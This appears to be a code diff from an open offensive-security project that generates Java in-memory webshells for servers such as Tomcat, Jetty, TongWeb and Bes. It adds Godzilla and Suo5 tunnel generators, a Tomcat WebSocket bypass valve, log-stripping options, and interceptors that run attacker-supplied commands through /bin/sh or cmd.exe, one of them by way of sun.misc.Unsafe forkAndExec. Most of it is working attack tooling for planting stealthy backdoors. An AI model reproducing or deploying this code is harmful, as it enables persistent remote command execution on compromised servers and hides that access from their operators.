public static DynamicType.Builder<?> applyBuilderProcessors(
|
||||||
|
DynamicType.Builder<?> builder,
|
||||||
|
ShellConfig shellConfig,
|
||||||
|
ShellToolConfig shellToolConfig) {
|
||||||
|
for (Processor<DynamicType.Builder<?>> processor : BUILDER_PROCESSORS) {
|
||||||
|
builder = processor.process(builder, shellConfig, shellToolConfig);
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] applyByteProcessors(
|
||||||
|
byte[] bytes,
|
||||||
|
ShellConfig shellConfig,
|
||||||
|
ShellToolConfig shellToolConfig) {
|
||||||
|
for (Processor<byte[]> processor : BYTE_PROCESSORS) {
|
||||||
|
bytes = processor.process(bytes, shellConfig, shellToolConfig);
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.ProxyConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
|
||||||
|
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
|
||||||
|
super(shellConfig, shellToolConfig);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected DynamicType.Builder<?> getBuilder() {
|
||||||
|
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/12
|
||||||
|
*/
|
||||||
|
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
||||||
|
|
||||||
|
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
||||||
|
super(shellConfig, suo5Config);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected DynamicType.Builder<?> getBuilder() {
|
||||||
|
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
|
||||||
|
return new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
|
}
|
||||||
|
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
|
||||||
|
.redefine(Suo5v2.class)
|
||||||
|
.name(CommonUtil.generateClassName())
|
||||||
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
|
||||||
|
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
||||||
|
.make()) {
|
||||||
|
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
|
||||||
|
return new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/1/13
|
||||||
|
*/
|
||||||
|
public class WebSocketByPassHelperGenerator {
|
||||||
|
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
||||||
|
if (headerPair == null) {
|
||||||
|
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Server.Tomcat.equals(shellConfig.getServer())) {
|
||||||
|
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
|
||||||
|
.redefine(TomcatWsBypassValve.class)
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
|
.field(named("headerName")).value(headerPair.getKey())
|
||||||
|
.field(named("headerValue")).value(headerPair.getValue())
|
||||||
|
.name(CommonUtil.generateClassName());
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
|
||||||
|
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
|
||||||
|
if (shellToolConfig instanceof CommandConfig) {
|
||||||
|
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
|
||||||
|
} else if (shellToolConfig instanceof GodzillaConfig) {
|
||||||
|
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
|
||||||
|
} else if (shellToolConfig instanceof ProxyConfig) {
|
||||||
|
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,8 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||||
@@ -33,14 +31,6 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
|||||||
.field(named("paramName"))
|
.field(named("paramName"))
|
||||||
.value(shellToolConfig.getParamName());
|
.value(shellToolConfig.getParamName());
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||||
builder = builder
|
builder = builder
|
||||||
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
||||||
@@ -52,13 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
|||||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
builder = builder.visit(Advice.withCustomMapping()
|
||||||
|
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||||
|
.to(RuntimeExecInterceptor.class)
|
||||||
|
.on(named("getInputStream")));
|
||||||
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
builder = builder.visit(Advice.withCustomMapping()
|
||||||
|
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||||
|
.to(ForkAndExecInterceptor.class)
|
||||||
|
.on(named("getInputStream")));
|
||||||
}
|
}
|
||||||
|
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -13,9 +13,27 @@ import java.lang.reflect.Method;
|
|||||||
*/
|
*/
|
||||||
public class ForkAndExecInterceptor {
|
public class ForkAndExecInterceptor {
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
public static void enter(@Advice.Argument(value = 0) String cmd,
|
||||||
|
@Advice.Return(readOnly = false) InputStream returnValue,
|
||||||
|
@TemplateAnnotation String template
|
||||||
|
) throws IOException {
|
||||||
try {
|
try {
|
||||||
String[] strs = cmd.split("\\s+");
|
String[] cmdarray = null;
|
||||||
|
String t = template;
|
||||||
|
if (t == null) {
|
||||||
|
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||||
|
} else {
|
||||||
|
if (t.contains("\"{command}\"")) {
|
||||||
|
String[] split = t.split("\\s+");
|
||||||
|
for (int i = 0; i < split.length; i++) {
|
||||||
|
split[i] = split[i].replace("\"{command}\"", cmd);
|
||||||
|
}
|
||||||
|
cmdarray = split;
|
||||||
|
} else {
|
||||||
|
String cmdline = t.replace("{command}", cmd);
|
||||||
|
cmdarray = cmdline.split("\\s+");
|
||||||
|
}
|
||||||
|
}
|
||||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
unsafeField.setAccessible(true);
|
unsafeField.setAccessible(true);
|
||||||
@@ -30,11 +48,11 @@ public class ForkAndExecInterceptor {
|
|||||||
}
|
}
|
||||||
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
||||||
|
|
||||||
byte[][] args = new byte[strs.length - 1][];
|
byte[][] args = new byte[cmdarray.length - 1][];
|
||||||
int size = args.length;
|
int size = args.length;
|
||||||
|
|
||||||
for (int i = 0; i < args.length; i++) {
|
for (int i = 0; i < args.length; i++) {
|
||||||
args[i] = strs[i + 1].getBytes();
|
args[i] = cmdarray[i + 1].getBytes();
|
||||||
size += args[i].length;
|
size += args[i].length;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -48,7 +66,7 @@ public class ForkAndExecInterceptor {
|
|||||||
|
|
||||||
int[] envc = new int[1];
|
int[] envc = new int[1];
|
||||||
int[] std_fds = new int[]{-1, -1, -1};
|
int[] std_fds = new int[]{-1, -1, -1};
|
||||||
byte[] bytes = strs[0].getBytes();
|
byte[] bytes = cmdarray[0].getBytes();
|
||||||
byte[] result = new byte[bytes.length + 1];
|
byte[] result = new byte[bytes.length + 1];
|
||||||
System.arraycopy(bytes, 0,
|
System.arraycopy(bytes, 0,
|
||||||
result, 0,
|
result, 0,
|
||||||
|
|||||||
@@ -10,9 +10,28 @@ import java.io.InputStream;
|
|||||||
* @since 2025/5/25
|
* @since 2025/5/25
|
||||||
*/
|
*/
|
||||||
public class RuntimeExecInterceptor {
|
public class RuntimeExecInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
public static void enter(@Advice.Argument(value = 0) String cmd,
|
||||||
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
@Advice.Return(readOnly = false) InputStream returnValue,
|
||||||
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
|
@TemplateAnnotation String template
|
||||||
|
) throws IOException {
|
||||||
|
String[] cmdarray = null;
|
||||||
|
String t = template;
|
||||||
|
if (t == null) {
|
||||||
|
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||||
|
} else {
|
||||||
|
if (t.contains("\"{command}\"")) {
|
||||||
|
String[] split = t.split("\\s+");
|
||||||
|
for (int i = 0; i < split.length; i++) {
|
||||||
|
split[i] = split[i].replace("\"{command}\"", cmd);
|
||||||
|
}
|
||||||
|
cmdarray = split;
|
||||||
|
} else {
|
||||||
|
String cmdline = t.replace("{command}", cmd);
|
||||||
|
cmdarray = cmdline.split("\\s+");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,8 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import java.lang.annotation.Retention;
|
||||||
|
import java.lang.annotation.RetentionPolicy;
|
||||||
|
|
||||||
|
@Retention(RetentionPolicy.RUNTIME)
|
||||||
|
public @interface TemplateAnnotation {
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class DebugOffBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
if (shellConfig.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
|
||||||
|
public class JakartaPostProcessor implements Processor<byte[]> {
|
||||||
|
@Override
|
||||||
|
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
return ClassRenameUtils.relocateJakarta(input);
|
||||||
|
}
|
||||||
|
return input;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.asm.ClassSuperClassUtils;
|
||||||
|
import com.reajason.javaweb.asm.MethodUtils;
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.memshell.server.Jetty;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class JettyHandlerPostProcessor implements Processor<byte[]> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||||
|
String shellType = shellConfig.getShellType();
|
||||||
|
if (server instanceof Jetty
|
||||||
|
&& (ShellType.HANDLER.equals(shellType)
|
||||||
|
|| ShellType.JAKARTA_HANDLER.equals(shellType))
|
||||||
|
) {
|
||||||
|
String superClassName = null;
|
||||||
|
String serverVersion = shellConfig.getServerVersion();
|
||||||
|
if (serverVersion != null) {
|
||||||
|
switch (serverVersion) {
|
||||||
|
case "6":
|
||||||
|
superClassName = "org/mortbay/jetty/handler/AbstractHandler";
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
|
||||||
|
bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty");
|
||||||
|
break;
|
||||||
|
case "7+":
|
||||||
|
superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
|
||||||
|
break;
|
||||||
|
case "12":
|
||||||
|
superClassName = "org/eclipse/jetty/server/Handler$Abstract";
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (superClassName == null) {
|
||||||
|
throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
|
||||||
|
}
|
||||||
|
return ClassSuperClassUtils.addSuperClass(bytes, superClassName);
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.description.method.MethodDescription;
|
||||||
|
import net.bytebuddy.description.method.MethodList;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
import net.bytebuddy.implementation.StubMethod;
|
||||||
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
String shellType = shellConfig.getShellType();
|
||||||
|
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||||
|
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||||
|
String shellClassName = shellToolConfig.getShellClassName();
|
||||||
|
builder = modifier(builder,
|
||||||
|
server.getListenerInterceptor(),
|
||||||
|
shellToolConfig.getShellTypeDescription(),
|
||||||
|
shellClassName);
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, Class<?> implInterceptor,
|
||||||
|
TypeDescription typeDefinition, String newClassName) {
|
||||||
|
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
|
||||||
|
|
||||||
|
if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
|
||||||
|
throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
|
||||||
|
" the method body will be auto adapted for multi server");
|
||||||
|
} else {
|
||||||
|
builder = builder
|
||||||
|
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||||
|
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
|
||||||
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
|
||||||
|
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
|
.withParameters(Object.class, String.class)
|
||||||
|
.throwing(Exception.class)
|
||||||
|
.intercept(StubMethod.INSTANCE)
|
||||||
|
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class ShrinkPostProcessor implements Processor<byte[]> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.memshell.server.Bes;
|
import com.reajason.javaweb.memshell.server.Bes;
|
||||||
import com.reajason.javaweb.memshell.server.TongWeb;
|
import com.reajason.javaweb.memshell.server.TongWeb;
|
||||||
@@ -12,6 +17,7 @@ import net.bytebuddy.description.type.TypeDescription;
|
|||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.Implementation;
|
import net.bytebuddy.implementation.Implementation;
|
||||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
@@ -20,9 +26,19 @@ import org.jetbrains.annotations.NotNull;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/22
|
* @since 2025/12/7
|
||||||
*/
|
*/
|
||||||
public class ValveGenerator {
|
public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
String shellType = shellConfig.getShellType();
|
||||||
|
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||||
|
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
||||||
|
builder = modifier(builder, server, shellConfig.getServerVersion());
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
|
||||||
